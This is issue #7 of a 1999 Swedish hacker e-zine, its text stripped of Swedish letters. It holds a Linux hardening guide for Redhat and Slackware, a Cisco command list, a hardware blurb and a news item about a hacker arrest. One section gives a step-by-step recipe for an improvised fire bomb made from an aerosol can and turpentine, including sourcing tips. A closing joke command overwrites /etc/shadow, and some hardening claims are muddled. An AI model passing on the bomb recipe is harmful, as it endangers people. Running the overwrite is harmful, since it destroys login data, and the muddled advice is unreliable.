 Jag kommer hlla mig till  2  vanliga  dist, ulmhhh...Redhat  och  Slackware.
 Fr er som inte orkar lusa igenom allt fr att veta vad  artikeln  innehller 
 s kan jag bertta det redan  nu ;) ...Password  Policy, Password  Shadowing,
 TCP Wrappers, Anonymous FTP, 0nda services och Loggfiler.
 
 [Password Policy]
 
 Nej nu ska jag inte  ta  upp  nt  jvla shit om hur man vljer rtt lsenord
 som varenda pc tidning p markaden skriver  om eller har skrivit om, jag bryr
 mig inte om vilka som andvnder bra lsenord eller inte, det skapar bara fr-
 delar fr omgivninge. Men jag ska dremot ta upp hur  man  fr  systeme t att
 inte tillta passwd under 8 tecken osv. Detta r dock  mest  andvndbart  fr
 admin p nn skola. Men det kan va kul att veta n d. 
 
 I Slackware s ppnar du /etc/login.defs med en skn text-editor. De t frsta
 du ska  kolla  r  om  LOG_OK_LOGINS  r  satta  p  yes, sen  kan  du  stta
 ENABLE_MD5_CRYPT p yes (kryptering r ju bra i alla  fall, om  det  inte  r
 en fel  programmerad  frstrande  algoritm :I) Om  du  vill  kunna  andvnda
 passwd  ver  8  tecken s kan du ndra vrderna p variblerna PASS_MAX_DAYS,
 PASS_MIN_DAYS, PASS_MIN_LEN  och PASS_WARN_AGE  till  ngra  lmpliga vrden.
 
 I   Redhat   s  ppnar  du  ocks  /etc/login.defs   och  stter  variblerna 
 PASS_MAX_DAYS, PASS_MIN_DAYS, PASS_MIN_LEN  och PASS_WARN_AGE  till  det  som
 knns rtt. Skilladen mellan konfigurationen i Slackware och Redhat r nstan
 ingen, configurationen om man vill andvnda MD5 grs det  i login.defs om man
 andvnder Slackware, det configueras vid installation  i  Redhat. MD5  r  en
 one-way algoritm som menas att den aldrig kan dekrypteras, algoritmen r inte
 hemligt s det som behvs r att skriva ett program  som  krypterar  frn  en
 ordlista och  gmnfr  med  de  krypterade  passwd:et  i  /etc/passwd eller i
 /etc/shadow  som  r en standardisering fr nya Linux system, /etc/shadow kan
 dock  inte  ns  av  andra  andvndare, men det finns tekniker s att man kan
 rycka t sig en skuggad passwd fil. Mer om Password Shadowing ses nedan.
 
 [Password Shadowing]
 
 Det frsta du ska kolla r att /etc/shadow finns, om inte s har du  valt vid
 installationen  att  inte  andvnda  password shadowing och d  fr  du  kra
 pkgtool och installera  de sjlv. Nr du installerat  pkgtool  s  fru  kra 
 kommandona /usr/sbin/pwconv och /usr/sbin/grpconv.
 
 [TCP Wrappers]

 Note: Konfigurationen av TCP Wrappers r samma i alla dist.

 Fr det frsta mste du veta vad  en TCP Wrapper r fr  nt  annars  r  det
 inte s bra, !LOL! jaja, en TCP Wrapper  andvnds fr att kunna  styra  vilka
 datorer   som   fr   andvnda   vilka   tjnster. Detta  finns  definerat  i
 /etc/inetd.conf.  Det   finns   tv   filer   som  styr  detta  och   det  r
 /etc/hosts.deny och /etc/hosts.allow. Frst ska  jag g igenom hur man  lser
 datorn fr alla  utom  ett  antal  IP  nummer. Frsta  steget  r  att  ppna
 /etc/hosts.deny och skriva in raden ALL: ALL. Fr  att  stlla  in  vilka som 
 fr komma t din dator  editerar du /etc/hosts.allow  och  skriver  in  t.ex.
 ALL: 10.13.95.03. Istllet  fr ALL s kan man skriva in t.ex. en pop3 server
 eller  in.telnetd, t.ex. in.telnet.d: 10.13.95.03 eller  pop3.ondska.org: IP.
 detta. Detta begrnsar allts vilka som  fr logga in p systemet  och  vilka
 som fr lsa sin epost. Du kan ocks blockera  olika IP-nummer men sen till-
 ta alla andra. Det  gr du i /etc/hosts.deny. Editera  hosts.deny  och  skriv
 t.ex:
 
 ALL: .hostname.com
 ALL: ipnummer

 [Anonymous FTP]
 
 Som standard r Anonym  FTP pslagen efter installation. Om du tycker det  r
 lskigt att vem som helst kan logga in  som  anonymous. Vilka  som  inte  fr
 logga in anges i /etc/ftpusers. ppna  bara /etc/ftpusers med emacs, vi, pico
 eller vad fan du vill och lgg till raderna anonymous och ftp.
 
 [0nda services]

 Det finns mnga services i Linux som skapar  mjligheter, fr  att  gra ditt
 system en aning skrare s editerar  du /etc/inetd.conf och  stter # framfr 
 alla lskiga tjnster.

 Slackware.

 Fr det frsta ska du studera indetd.conf noga och  fundera  vad  datorn  ska
 andvndas till och sen stnga av alla ondiga tjnster. Finger, shell, login,
 ntalk, systat och netstat br stngas av och om du andvnder en ldre version 
 av Slackware s r det ocks bra att stnga av imapd  som  va  osker. Telnet
 och ftp ska man ta och tnka lite om dom ska va p eller av, eftersom  passwd
 skickas i klartext och kan enkelt sniffas. Om de verkligen absolut mste and-
 vndas..kolla s att du alltid hller den uppdaterad till senaste  versionen.
 SSH (ftp.sunet.se/pub/security/tools/net) eller Kerberos (http://www.pdc.kth-
 .se/kth-krb) r iofs ett bttre alternativ eftersom allt krypteras vid verf-
 ringen. Om du inte fattade hur man stnde av en tjnst s berttar jag igen,
 stt en # framfr den tjnst du vill stnga av och kr killall -HUP inetd fr
 att uppdatera konfigurationen. ven /etc/rc.d/rc.M och /etc/rc.d/rc.inet2 br
 underskas dr du kan stnga av olika tjnster.

 Redhat.

 /etc/inetd.conf har samma uppgift som i Slackware. 
 att uppdatera konfigurationen. ven /etc/rc.d/rc.M och /etc/rc.d/rc.inet2 br
 Gopher,  shell,  login,  talk,  ntalk, pop-2, pop-3. finger, time, linuxconf, 
 imapd. Om du vill andvnda pop-3 och imapd s se till att du uppgraderar till 
 den senaste versionen. Som jag sa frut s skickar telnet  o  ftp  passwdn  i 
 klartext, s om du vill andvnda dem s r det bst att andvnda Secure Shell
 (SSH) eller Kerberos. Du stnger av tjnsterna genom att stta  en  kommentar
 (#) framfr dem och du uppdaterar inetd med killall -HUP inetd. Fr att stn-
 ga av andra ondiga tjnster kr /usr/sbin/setup och g in  p  ntsysv. Stng
 av allt som inte r ndvndigt och fr att f information om de olika tjnst-
 erna s e det bara att trycka F1.

 [Loggfiler]

 Det enda sttet att kolla vad som hnder p din dator s  r  det  att  kolla
 loggarna, visserligen finns det scripts som kan rensa dem men det  r  strre
 chans att se vad som hnder eller hinna det innan dom blir rensade om du kol-
 lar dom som  en  vana. I  slackware  ligger  loggarna  /var/log/messages  och 
 /var/log/syslog. Ge  kommandot  last  dagligen  ocks fr att kolla vilka som 
 loggat in p datorn.
 
 I Redhat ligger loggarna i /var/log/messages och  /var/log/secure, sen  e  de
 ocks en bra ide att kolla vilka som loggat in p datorn med kommandot  last.

 Det finns program som kan underska loggarna automatiskt, snna kan man hitta
 p  http://www.alw.nih.gov/Security/prog-monitor.html (Swatch  och logsurfer)

 [Efterord]

 Jag vet att detta inte va  den  bsta  artikeln, men  information  r  alltid 
 information. Om du undrar nt eller vill ge credits (LOL) s maila keytrace@-
 usa.net


 -----------------------------------------------------------------------------
                             Cisco kommando lista
 -----------------------------------------------------------------------------
 <1-99> - Session number to resume
 access-enable - Create a Temporary Access-List
 access-profile - Apply user-profile to interface
 clear - Reset functions
 connect - Open a terminal connection
 disable - Turn off privileged commands
 disconnect - Disconnect an existing network connection
 enable - Turn on privileged commands
 exit - Exit from the EXEC
 help - Description of the interactive help system
 lock - Lock the terminal
 Login - Login as an particular user 
 logout - Same as 'exit'
 mrinfo - Request neighbor and version information from a multicast router
 mstat - Show statistics after multiple multicast tracerouter
 mtrace - Trace revers multicast path from destination to source
 name - connection - Name an existing network connection
 pad - Open a X.29 PAD connection
 ping - Send echo messages 
 ppp - Start IETF point-to-point protocol (PPP)
 resume - Resume an active network connection
 rlogin - Open a rlogin connection
 show - Show running system information
 slip - Start serial-line (SLIP)
 systat - Display information about terminal lines
 telnet - Open a telnet connection
 terminal - Set terminal line parameters
 traceroute - Trace route to destination
 tunnel - Open a tunnel connection
 where - List active connections
 x28 - Become an x28 PAD
 x3 - Set x3 parameters on PAD
 
 
 -----------------------------------------------------------------------------
                           Ethernet kort till Windows CE
 -----------------------------------------------------------------------------
 Xirom har kommit ut med ett  litet batterisnlt Ethernet kort till Windows CE
 burkar. CompactCard Ethernet 10 so kortet heter r bara hlften s  liten som
 ett vanligt PC kort och du kan ansluta dig med 10Mbps och  kostar endast  och 
 jtte bara 1 255:- (exkl. moms) ..n, mer n min  veckopeng. Jag tror att man
 kan kpa den p ICA, fast kanske inte.

  http://www.xircom.com/compactcard/images/cfe-tr.gif
  http://www.xircom.com/compactcard/images/cfe-123.jpg
  http://www.xircom.com/compactcard/images/cfe-123.jpg


 -----------------------------------------------------------------------------
                      Svenska hackers hackade NASA, busted !
 -----------------------------------------------------------------------------
 2 Svenska hackers gripna fr intrng i NASAS jtte mega  hemliga  datorer. De
 tv ungdomarna hll till i en Lgenhet p Sder dr allt kretsade kring dato-
 rn. En av dom berttade att ta sig in i datorer va som en drog. Dom har  bla.
 kommit ver hemliga skerhets listor och  riskerar  nu  2  rs  fngelse  och
 skadestnd.

  *srja*


 -----------------------------------------------------------------------------
                             Svin ltt & rolig Bomb
 -----------------------------------------------------------------------------
 Ok, hr kommer ett recept p en tmligen ltt bomb, det  finns  skert  andra 
 versioner och former av denna bomb i andra zines. men hr kommer den iaf:

 Vad du behver:

 1st Axe/hrspray/adidas liknande spray flaska.
  flaska terpentin eller annan lngbrinnade&ltt antndlig vtska
 Tndare/Tndstickor.

 Hur du gr:
 
 Hll lite terpentin p marken och lgg sedan  burken  p  terpentin  vtskan, 
 hll nu p resten av terpentin flaskan ver spray burken, jrna  lite  runtom
 ox. Tnd p och stick ivg ca 10-15meter.

 Effekt:
 
 Frst nr terpentinet har tagit eld och brunnit mellan 1-3 minuter s  kommer
 en liten knall som oftast fljs av en till knall och  sedan  explosionen  som 
 brukar vara ca 5ggr hgre n knallarna, nr explosionen kommer  s  blir  det 
 som ett typ svampmoln av eld ( typ atombomb ) som strcker sej ca 1-2  meter 
 upp i luften. Tnk p att inte s fr nra burken, fr  den  kommer  flyga  i 
 mnga delar, och terpentinet som ligger p kommer brja brinna p stllet dr
 burk flisorna landar. Vi gjorde denna bomb  i  skogen, det  blev  en  grop  i 
 marken ca 10-15cm djup och flckar med aska ver allt inom 5-10 meters radie.

 Var hittar jag grejorna:

 Terpentin: frghandel, vissa mat affrer.
 Spray Flaska: Tnk sjlv ;)
 Tndare: Sno frn din kedjerkande mamma eller i affren.

 //dthl


 -----------------------------------------------------------------------------
                                   Copyright
 -----------------------------------------------------------------------------
 Zinet fr skickas ver alla protokoll s lnge du  INTE  ndrar  det. Jag har
 satt en fet 1337 copyright p detta zine.

 Heretics Inc., Outlaw Informativa (C)

 
 -----------------------------------------------------------------------------
                               3x1t3d(), eller nt
 -----------------------------------------------------------------------------
 Jopp, s va sagan slut som dom sa p Bjrnes Magazine. Jag hoppas att du inte
 srjer. Tnk som min gamla farfar gjorde "0ndska r Krlek" min farfar va  en
 0nd jvel. Nej !!! ...Slut  p  skitsnacket, ta  ut  snusen och g och d och
 sluta lyssna p mina dliga skmt. 

 # cat /ezine/o-i/outlaw-07 > /etc/shadow
 
 And the story ends...



  .-------------------------------------------------------------------------.
 |      Heretics Inc. Outlaw Informativa issue #7, 22:45 1999-09-08          |                                   
  '-------------------------------------------------------------------------'

 


 

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.0.2i

iQA/AwUBN5zSsnRmgGlPBhFaEQLQngCgjAdjJAjiAqYXs9YTnGFjd0/VaXYAnj+Q
X3pmKDomoNWBQp8LyYIdwbqm
=estT
-----END PGP SIGNATURE-----